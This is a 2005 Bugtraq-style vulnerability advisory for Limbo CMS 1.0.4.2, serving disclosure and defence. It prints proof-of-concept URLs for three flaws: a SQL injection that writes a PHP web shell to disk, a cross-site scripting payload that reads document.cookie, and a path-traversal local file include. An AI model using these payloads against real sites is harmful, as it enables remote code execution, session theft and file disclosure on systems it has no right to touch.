Limbo CMS Multiple Input Validation Vulnerabilities

Bugtraq ID:	15871
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 14 2005 12:00AM
Updated:	Dec 14 2005 12:00AM
Credit:	Discovered by rgod.
Vulnerable:	WEBInsta Limbo CMS 1.0.4 .2
Not Vulnerable:

Limbo CMS Multiple Input Validation Vulnerabilities

Limbo CMS is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out cross-site scripting, SQL injection, and local file include attacks.

Limbo CMS versions 1.0.4.2 and prior are affected by these vulnerabilities.

Limbo CMS Multiple Input Validation Vulnerabilities

No exploit is required.

The following proof of concept examples are available:

SQL injection:
http://www.example.com/[path]/index.php?_SERVER[]&_SERVER[REMOTE_ADDR]=999'UNION%20SELECT%20null,'<?php%20system($_G','ET[cmd]);?>'%20INTO%20DUMPFILE%20'[full_application_pa
th]shell.php'%20FROM%20lm_simple_stats/*&option=weblinks&Itemid=999/*

Cross-site scripting:
http://www.example.com/[path]/?_SERVER[]=&_SERVER[REMOTE_ADDR]=<script>alert(document.cookie)</script>

Local file include:
http://www.example.com/[path_to_limbo]/index2.php?option=frontpage/../../../../../../../../../../../script

• /data/vulnerabilities/exploits/limbo_1042_eval_xpl.php

Limbo CMS Multiple Input Validation Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Limbo CMS Multiple Input Validation Vulnerabilities

References:

• Limbo CMS Homepage (Limbo CMS)
  
• LIMBO CMS <= v1.0.4.2 _SERVER[] array overwrite / remote code execution ([email protected])